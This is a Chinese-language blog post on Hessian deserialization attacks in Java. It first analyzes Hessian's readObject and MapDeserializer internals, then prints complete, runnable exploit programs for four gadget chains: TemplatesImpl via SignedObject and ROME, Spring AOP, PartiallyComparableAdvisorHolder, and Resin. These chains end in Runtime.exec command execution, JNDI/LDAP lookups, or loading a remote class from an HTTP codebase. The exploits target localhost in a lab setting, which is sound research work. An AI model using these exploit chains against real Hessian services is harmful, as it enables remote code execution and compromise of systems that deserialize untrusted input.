文章目录
- 前言
- Hessian反序列化
- TemplatesImpl
- Spring AOP
- PartiallyComparableAdvisorHolder
- Resin
前言
续接之前那篇Java反序列化-2的文章。
Hessian反序列化
Hessian是一种用于远程调用的二进制协议。它被广泛用于构建分布式系统中的跨平台通信,特别适用于Java语言,基于RPC协议,用于远程服务的调用。
Hessian可以将Java对象序列化为二进制数据,并通过网络传输到远程系统,然后将二进制数据反序列化为远程系统可以理解的对象。通过使用二进制格式,Hessian可以提供更高效的数据传输和更低的网络开销,相对于文本协议(如XML或JSON)而言。
Hessian支持各种Java基本类型和复杂对象的序列化和反序列化。它还提供了一种简单的方式定义服务接口和实现远程方法调用。因此,开发人员可以使用Hessian来构建基于Java的分布式系统,同时获得更高的性能和更好的跨平台兼容性。
Hessian是基于Field
机制来进行反序列化的,就是通过一些特殊的方法或者反射,直接对Field
进行赋值,这与Jackson
调用getter、setter
是不同的,这种机制相对于基于Bean
机制的攻击面要小,因为它们自动调用的方法要少。
以下是一些基于Field
机制进行反序列化的类:
- Java Serialization
- Kryo
- Hessian
- json-io
- XStream
下面是对Hessian
反序列化进行简单的流程分析:
<dependency><groupId>com.caucho</groupId><artifactId>hessian</artifactId><version>4.0.63</version></dependency>
- 在
HessianInput#readObject
中,它会通过一个Tag
来决定后面的操作,而Hessian
序列化是处理成Map
的形式,所以code
的第一个总是77
,也就是对应着M
的操作,在readType()
中,它会遍历读取反序列化传入的字节数组,读取一定的长度转成字符后存入了_sbuf
中,再经过toString()
转换成字符串,返回该类的完整路径,比如说com.example.Hessian.User
。
public Object readObject()throws IOException{int tag = read();switch (tag) {case 'N':return null;case 'T':return Boolean.valueOf(true);case 'F':return Boolean.valueOf(false);case 'I':return Integer.valueOf(parseInt());case 'L':return Long.valueOf(parseLong());case 'D':return Double.valueOf(parseDouble());case 'd':return new Date(parseLong());case 'x':case 'X': {_isLastChunk = tag == 'X';_chunkLength = (read() << 8) + read();return parseXML();}case 's':case 'S': {_isLastChunk = tag == 'S';_chunkLength = (read() << 8) + read();int data;_sbuf.setLength(0);while ((data = parseChar()) >= 0)_sbuf.append((char) data);return _sbuf.toString();}case 'b':case 'B': {_isLastChunk = tag == 'B';_chunkLength = (read() << 8) + read();int data;ByteArrayOutputStream bos = new ByteArrayOutputStream();while ((data = parseByte()) >= 0)bos.write(data);return bos.toByteArray();}case 'V': {String type = readType();int length = readLength();return _serializerFactory.readList(this, length, type);}case 'M': {String type = readType();return _serializerFactory.readMap(this, type);}case 'R': {int ref = parseInt();return _refs.get(ref);}case 'r': {String type = readType();String url = readString();return resolveRemote(type, url);}default:throw error("unknown code for readObject at " + codeName(tag));}}
- 随后会进入到
SerializerFactory#readMap
中,会进入到getDeserializer
方法获取反序列化器,如果获取不到,就会进入到_hashMapDeserializer.readMap
中。
public Object readMap(AbstractHessianInput in, String type)throws HessianProtocolException, IOException{Deserializer deserializer = getDeserializer(type);if (deserializer != null)return deserializer.readMap(in);else if (_hashMapDeserializer != null)return _hashMapDeserializer.readMap(in);else {_hashMapDeserializer = new MapDeserializer(HashMap.class);return _hashMapDeserializer.readMap(in);}}
- 在
getDeserializer
中,它会判断是否前面获取不到type
,是则返回null
,然后会从缓存中获取对应type
的反序列化器,如果获取不到,会从_staticTypeMap
中获取,都获取不到,则判断type
是不是数组,是就根据数组基本类型来获取其Deserializer
,并创建ArrayDeserializer
返回,否则尝试通过目标type
的clazz
形式来获取deserializer
放到缓存里面。一般的类如果使用了不安全的Serializer
,会获取到UnsafeDeserilize
。
public Deserializer getDeserializer(String type)throws HessianProtocolException{if (type == null || type.equals(""))return null;Deserializer deserializer;if (_cachedTypeDeserializerMap != null) {synchronized (_cachedTypeDeserializerMap) {deserializer = (Deserializer) _cachedTypeDeserializerMap.get(type);}if (deserializer != null)return deserializer;}deserializer = (Deserializer) _staticTypeMap.get(type);if (deserializer != null)return deserializer;if (type.startsWith("[")) {Deserializer subDeserializer = getDeserializer(type.substring(1));if (subDeserializer != null)deserializer = new ArrayDeserializer(subDeserializer.getType());elsedeserializer = new ArrayDeserializer(Object.class);}else {try {//Class cl = Class.forName(type, false, getClassLoader());Class cl = loadSerializedClass(type);deserializer = getDeserializer(cl);} catch (Exception e) {log.warning("Hessian/Burlap: '" + type + "' is an unknown class in " + getClassLoader() + ":\n" + e);log.log(Level.FINER, e.toString(), e);}}if (deserializer != null) {if (_cachedTypeDeserializerMap == null)_cachedTypeDeserializerMap = new HashMap(8);synchronized (_cachedTypeDeserializerMap) {_cachedTypeDeserializerMap.put(type, deserializer);}}return deserializer;}
- 进入到
readMap
后,会通过sun.misc.Unsafe#allocateInstance
初始化一个空对象,然后再调用readMap
public Object readMap(AbstractHessianInput in)throws IOException{try {Object obj = instantiate();return readMap(in, obj);} catch (IOException e) {throw e;} catch (RuntimeException e) {throw e;} catch (Exception e) {throw new IOExceptionWrapper(_type.getName() + ":" + e.getMessage(), e);}}
- 将它加入到引用当中,便于用引用来寻找值,然后通过while循环来对值进行恢复,会从
_fieldMap
中通过键获取对应的Deserializer
,要注意的是这里不包含transient
修饰的成员,再根据获取到的Deserializer
进入到不同类的deserialize
方法中,比如ObjectFieldDeserializer
会进入ObjectFieldDeserializer#deserialize
中,FieldDeserializer2
中一共有14个unsafe
的反序列化器。
public Object readMap(AbstractHessianInput in, Object obj)throws IOException{try {int ref = in.addRef(obj);while (! in.isEnd()) {Object key = in.readObject();FieldDeserializer2 deser = (FieldDeserializer2) _fieldMap.get(key);if (deser != null)deser.deserialize(in, obj);elsein.readObject();}in.readMapEnd();Object resolve = resolve(in, obj);if (obj != resolve)in.setRef(ref, resolve);return resolve;} catch (IOException e) {throw e;} catch (Exception e) {throw new IOExceptionWrapper(e);}}
- 进入到
deserialize
后,又会触发HessianInput#readObject
进行反序列化。
public void deserialize(AbstractHessianInput in, Object obj)throws IOException{Object value = null;try {value = in.readObject(_field.getType());_unsafe.putObject(obj, _offset, value);} catch (Exception e) {logDeserializeError(_field, obj, value, e);}}}
- 因为序列化成
Map
的形式,因此还是进入M
中,获取到type
会空后,会进入到MapDeserializer#readMap
中。
public Object readObject(Class cl)throws IOException{if (cl == null || cl == Object.class)return readObject();int tag = read();switch (tag) {case 'N':return null;case 'M':{String type = readType();if ("".equals(type)) {Deserializer reader;reader = _serializerFactory.getDeserializer(cl);return reader.readMap(this);}else {Deserializer reader;reader = _serializerFactory.getObjectDeserializer(type);return reader.readMap(this);}}case 'V':{String type = readType();int length = readLength();Deserializer reader;reader = _serializerFactory.getObjectDeserializer(type);if (cl != reader.getType() && cl.isAssignableFrom(reader.getType()))return reader.readList(this, length);reader = _serializerFactory.getDeserializer(cl);Object v = reader.readList(this, length);return v;}case 'R':{int ref = parseInt();return _refs.get(ref);}case 'r':{String type = readType();String url = readString();return resolveRemote(type, url);}}_peek = tag;Object value = _serializerFactory.getDeserializer(cl).readObject(this);return value;}
- 在
MapDeserializer#readMap
里面,会对map
的类型进行判断,如果是Map
则使用HashMap
,SortedMap
则使用TreeMap()
,接着进入了一个while
循环,它会读取key-value
的键值对并调用put
方法,这里的put
方法老生常谈了,会触发任意类的hashcode()
方法,至此,只要是入口为hashCode
都能够使用。
public Object readMap(AbstractHessianInput in)throws IOException{Map map;if (_type == null)map = new HashMap();else if (_type.equals(Map.class))map = new HashMap(); //hashCode()、equals()else if (_type.equals(SortedMap.class))map = new TreeMap(); //触发compareTo()方法else {try {map = (Map) _ctor.newInstance();} catch (Exception e) {throw new IOExceptionWrapper(e);}}in.addRef(map);while (! in.isEnd()) {map.put(in.readObject(), in.readObject());}in.readEnd();return map;}
要使用Hessian
条件如下:
- kick-off chain 起始方法只能为 hashCode/equals/compareTo 方法;
- 利用链中调用的成员变量不能为 transient 修饰;
- 所有的调用不依赖类中 readObject 的逻辑,也不依赖 getter/setter 的逻辑。
在Hessian
中,有一个十分魔幻的地方,就是它支持反序列化任意类,并且无需实现Serializable
接口,使得没有实现Serializable
接口的类也可以序列化和反序列化,只需要将_isAllowNonSerializable=true
即可,可以设置SerializerFactory#setAllowNonSerializable
来赋值。
public class SerializerFactory extends AbstractSerializerFactory {protected Serializer getDefaultSerializer(Class cl) {if (this._defaultSerializer != null) {return this._defaultSerializer;} else if (!Serializable.class.isAssignableFrom(cl) && !this._isAllowNonSerializable) {throw new IllegalStateException("Serialized class " + cl.getName() + " must implement java.io.Serializable");} else {return (Serializer)(this._isEnableUnsafeSerializer && JavaSerializer.getWriteReplace(cl) == null ? UnsafeSerializer.create(cl) : JavaSerializer.create(cl));}}}
TemplatesImpl
首先考虑一下动态字节码加载的打法,但是明显是不行的,因为TemplatesImpl
中的_tfactory
是一个transient
,无法参与序列化与反序列化,因此可以采取二次反序列化的打法,就是上文的ROME
中的SignedObject
链。
调用链如下:
hessianinput.readObject()->hashmap.put()->EqualsBean.hashcode()->ToStringBean.toString()->SignedObject.getObject()->hashmap.readObject()->后面的利用链
exp如下:
package com.example.Hessian;import cn.hutool.core.lang.hash.Hash;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.example.jackson.TemplateImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import java.util.HashMap;public class hessian_signobject {public static void main(String[] args) throws Exception {byte[] code =getTemplates();byte[][] codes={code};TemplatesImpl templates=new TemplatesImpl();setValue(templates,"_tfactory",new TransformerFactoryImpl());setValue(templates,"_name","Aiwin");setValue(templates,"_class",null);setValue(templates,"_bytecodes",codes);ToStringBean toStringBean=new ToStringBean(Templates.class,templates);EqualsBean equalsBean=new EqualsBean(String.class,"aiwin");HashMap hashMap=new HashMap();hashMap.put(equalsBean,"aaa");setValue(equalsBean,"_beanClass",ToStringBean.class);setValue(equalsBean,"_obj",toStringBean);//SignedObjectKeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");kpg.initialize(1024);KeyPair kp = kpg.generateKeyPair();SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));ToStringBean toStringBean_sign=new ToStringBean(SignedObject.class,signedObject);EqualsBean equalsBean_sign=new EqualsBean(String.class,"aiwin");HashMap hashMap_sign=new HashMap();hashMap_sign.put(equalsBean_sign,"aaa");setValue(equalsBean_sign,"_beanClass",ToStringBean.class);setValue(equalsBean_sign,"_obj",toStringBean_sign);String result=Hessian_serialize(hashMap_sign);Hessian_unserialize(result);}public static void setValue(Object obj, String name, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}public static byte[] getTemplates() throws IOException, CannotCompileException, NotFoundException {ClassPool classPool=ClassPool.getDefault();CtClass ctClass=classPool.makeClass("Test");ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));String block = "Runtime.getRuntime().exec(\"calc\");";ctClass.makeClassInitializer().insertBefore(block);return ctClass.toBytecode();}public static String Hessian_serialize(Object object) throws IOException {ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();HessianOutput hessianOutput=new HessianOutput(byteArrayOutputStream);hessianOutput.writeObject(object);return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());}public static void Hessian_unserialize(String obj) throws IOException {byte[] code=Base64.getDecoder().decode(obj);ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(code);HessianInput hessianInput=new HessianInput(byteArrayInputStream);hessianInput.readObject();}
}
同样JdbcRowSetImpl等常规链子也是可以的
Spring AOP
利用链
Hessian#readObject()->hashMap.putVal()->hotSwappableTargetSource#equals()->AbstractPointcutAdvisor#equals()->AbstractBeanFactoryPointcutAdvisor#getAdvice()SimpleJndiBeanFactory#getBean()->lookup()
在自己写这条链的时候,也是在不断的报错,因为发现它里面利用的很多类都没有继承Serializable
接口,导致无法序列化和反序列化,并且似乎并没有找到绕过去的方式,包括SimpleJndiBeanFactory
,后来看了一下marshalsec
,后来才知道Hessian
可以不需要继承序列化和反序列化的。
package com.example.Hessian;import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import org.springframework.aop.support.*;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import org.springframework.scheduling.annotation.AsyncAnnotationAdvisor;import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;public class springaop {public static void main(String[] args) throws Exception {String jndiUrl = "ldap://127.0.0.1:9999/siJdcpuR";SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();simpleJndiBeanFactory.setShareableResources(jndiUrl);//这里一定要设置,为了过Singleton()Class<?> AbstractBeanFactoryPointcutAdvisor = Class.forName("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor");DefaultBeanFactoryPointcutAdvisor defaultBeanFactoryPointcutAdvisor = new DefaultBeanFactoryPointcutAdvisor();Field adviceBeanName = AbstractBeanFactoryPointcutAdvisor.getDeclaredField("adviceBeanName");adviceBeanName.setAccessible(true);adviceBeanName.set(defaultBeanFactoryPointcutAdvisor, jndiUrl);Field beanFactory = AbstractBeanFactoryPointcutAdvisor.getDeclaredField("beanFactory");beanFactory.setAccessible(true);beanFactory.set(defaultBeanFactoryPointcutAdvisor, simpleJndiBeanFactory);AsyncAnnotationAdvisor asyncAnnotationAdvisor = new AsyncAnnotationAdvisor();HotSwappableTargetSource hotSwappableTargetSource = new HotSwappableTargetSource(1);HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(2);HashMap hashMap = new HashMap();hashMap.put(hotSwappableTargetSource, "1");hashMap.put(hotSwappableTargetSource1, "2");setFieldValue(hotSwappableTargetSource,"target",defaultBeanFactoryPointcutAdvisor);setFieldValue(hotSwappableTargetSource1,"target",asyncAnnotationAdvisor);String result=Hessian_serialize(hashMap);Hessian_unserialize(result);}public static String Hessian_serialize(Object object) throws IOException {ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();HessianOutput hessianOutput=new HessianOutput(byteArrayOutputStream);SerializerFactory serializerFactory=new SerializerFactory(); //无需继承Serializable也可进行序列化和反序列化serializerFactory.setAllowNonSerializable(true);hessianOutput.setSerializerFactory(serializerFactory);hessianOutput.writeObject(object);return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());}public static void Hessian_unserialize(String obj) throws IOException, ClassNotFoundException {byte[] code=Base64.getDecoder().decode(obj);ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(code);HessianInput hessianInput=new HessianInput(byteArrayInputStream);hessianInput.readObject();}public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {Field dfield=object.getClass().getDeclaredField(field);dfield.setAccessible(true);dfield.set(object,value);}
}
简单解析:
在SimpleJndiBeanFactory#getBean
中存在能够调用lookup
接口。
这里仅需要初始化beanFactory=SimpleJndiBeanFactory
,同时adviceBeanName
可控,通过setShareableResources
可过掉isSingleton
判断即可触发getBean
在AbstractPointcutAdvisor#equals
方法中,存在可以触发getAdvice()
的点,并且otherAdvice
可控,至于equals
可通过HashCode#puVal
触发,整条链就串起来了。
PartiallyComparableAdvisorHolder
Hessian#readObject()->hashMap.putVal()->hotSwappableTargetSource#equals()->Xstring#equals()->PartiallyComparableAdvisorHolder#toString()->AspectJPointcutAdvisor#getOrder()->AbstractAspectJAdvice#getOrder()->BeanFactoryAspectInstanceFactory#getOrder()->SimpleJndiBeanFactory#getType()->SimpleJndiBeanFactory#doGetType()->SimpleJndiBeanFactory#doGetSingleton()->SimpleJndiBeanFactory#lookup()->JndiTemplate#lookup()
exp:
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {String jndiUrl = "ldap://127.0.0.1:9999/siJdcpuR";SimpleJndiBeanFactory simpleJndiBeanFactory=new SimpleJndiBeanFactory();simpleJndiBeanFactory.setShareableResources(jndiUrl);AspectInstanceFactory beanFactoryAspectInstanceFactory=createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);setFieldValue(beanFactoryAspectInstanceFactory,"beanFactory",simpleJndiBeanFactory);setFieldValue(beanFactoryAspectInstanceFactory,"name",jndiUrl);AbstractAspectJAdvice advice = createWithoutConstructor(AspectJAfterAdvice.class);Class<?> abstractAspectJAdvice= Class.forName("org.springframework.aop.aspectj.AbstractAspectJAdvice");Field aspectInstanceFactory=abstractAspectJAdvice.getDeclaredField("aspectInstanceFactory");aspectInstanceFactory.setAccessible(true);aspectInstanceFactory.set(advice,beanFactoryAspectInstanceFactory);AspectJPointcutAdvisor aspectJPointcutAdvisor=createWithoutConstructor(AspectJPointcutAdvisor.class);setFieldValue(aspectJPointcutAdvisor,"advice",advice);Class<?> PartiallyComparableAdvisorHolder=Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");Object Partially=createWithoutConstructor(PartiallyComparableAdvisorHolder);setFieldValue(Partially,"advisor",aspectJPointcutAdvisor);HotSwappableTargetSource hotSwappableTargetSource = new HotSwappableTargetSource(new XString("1"));HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(new XString("a"));HashMap hashMap = new HashMap();hashMap.put(hotSwappableTargetSource, "1");hashMap.put(hotSwappableTargetSource1, "2");setFieldValue(hotSwappableTargetSource,"target",Partially);String result=Hessian_serialize(hashMap);Hessian_unserialize(result);}
简单分析:
首先在SimpleJndiBeanFactory#doGetSingleton
中存在lookup
接口,在同一个类中SimpleJndiBeanFactory#getType()
可以调用到doGetSingleton
BeanFactoryAspectInstanceFactory#getOrder()
中,存在着可控beanFactory和name
能够调用getType
AbstractAspectJAdvice#getOrder()
能够调用BeanFactoryAspectInstanceFactory#getOrder()
,因为aspectInstanceFactory
是可控的,但是要注意这里是抽象类,要找子类都实例化传值。
AspectJPointcutAdvisor#getOrder()
可以触发AbstractAspectJAdvice#getOrder()
,只需要在构造函数初始化advice=AbstractAspectJAdvice
最后在AspectJAwareAdvisorAutoProxyCreator
中找到子类PartiallyComparableAdvisorHolder#toString
,可以调用AspectJPointcutAdvisor#getOrder()
,然后toString()
完全可以通过Xstring
类来触发。
Resin
引入依赖,这里引入的依赖版本好像要正确,否则会报错显示com.caucho.Naming
不存在,至于每个版本的对应,我也不清楚。:
<dependency><groupId>com.caucho</groupId><artifactId>resin</artifactId><version>4.0.64</version></dependency>
Xstring#equals()->
Qname#toString()->
ContinuationContext#composeName()->
ContinuationContext#getTargetContext()->
NamingManager#getContext()->
NamingManager#getObjectInstance()->
NamingManager#getObjectFactoryFromReference()->
loadClass()
exp:
package com.example.Hessian;import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;import javax.naming.*;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;public class Resin {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {String codebase="http://127.0.0.1:9999/";String clazz="siJdcpuR";Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationContext");Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);ccCons.setAccessible(true);CannotProceedException cpe = new CannotProceedException();cpe.setResolvedObj(new Reference("siJdcpuR", clazz,codebase));Context ctx = (Context) ccCons.newInstance(cpe, new Hashtable<>());QName qName = new QName(ctx,"aiwin","aiwin1"); //_items要过for循环String unhash = unhash(qName.hashCode()); //将哈希值转换回原始数据的算法,放入到Xstring的值中,为了p.hash == hashXString xString = new XString(unhash);HashMap<Object, Object> hashMap = new HashMap<>();setFieldValue(hashMap, "size", 2);Class<?> nodeC;nodeC = Class.forName("java.util.HashMap$Node");Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, qName, qName, null));Array.set(tbl, 1, nodeCons.newInstance(0, xString, xString, null));setFieldValue(hashMap, "table", tbl);String result=Hessian_serialize(hashMap);Hessian_unserialize(result);}private static void unhash0(StringBuilder partial, int target) {int div = target / 31;int rem = target % 31;if (div <= 65535) {if (div != 0)partial.append((char)div);partial.append((char)rem);} else {unhash0(partial, div);partial.append((char)rem);}}public static String unhash ( int hash ) {int target = hash;StringBuilder answer = new StringBuilder();if (target < 0) {answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");if (target == Integer.MIN_VALUE)return answer.toString();target = target & Integer.MAX_VALUE;}unhash0(answer, target);return answer.toString();}public static String Hessian_serialize(Object object) throws IOException {ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();HessianOutput hessianOutput=new HessianOutput(byteArrayOutputStream);SerializerFactory serializerFactory=new SerializerFactory();serializerFactory.setAllowNonSerializable(true);hessianOutput.setSerializerFactory(serializerFactory);hessianOutput.writeObject(object);return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());}public static void Hessian_unserialize(String obj) throws IOException, ClassNotFoundException {byte[] code=Base64.getDecoder().decode(obj);ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(code);HessianInput hessianInput=new HessianInput(byteArrayInputStream);hessianInput.readObject();}public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {Field dfield=object.getClass().getDeclaredField(field);dfield.setAccessible(true);dfield.set(object,value);}
}
简单分析:
漏洞的触发点在NamingManager#getObjectFactoryFromReference
中,只需要控制Reference
为恶意的factoryLocation
即可通过loadClass
加载类并在后面通过newInstance
实例化,在NamingManager#getContext
中可以直接触发这个方法。
ContinuationContext#getTargetContext()
中能够触发NamingManager.getContext()
,前提是CannotProceedException#getResolvedObj()
要有值,这个值就是后面要用到的Reference()
,因为可以通过setResolvedObj()
进去,要注意的是ContinuationContext
是直接通过class
修饰的,只能在同一个包中被访问,不能直接实例化,要通过反射进行构造。getTargetContext()
在本类的composeName
可触发。
Qname#toString()
中可以触发composeName()
,因为_context
可以直接实例化控制,要过for
循环需要往_items
里面加数据即可。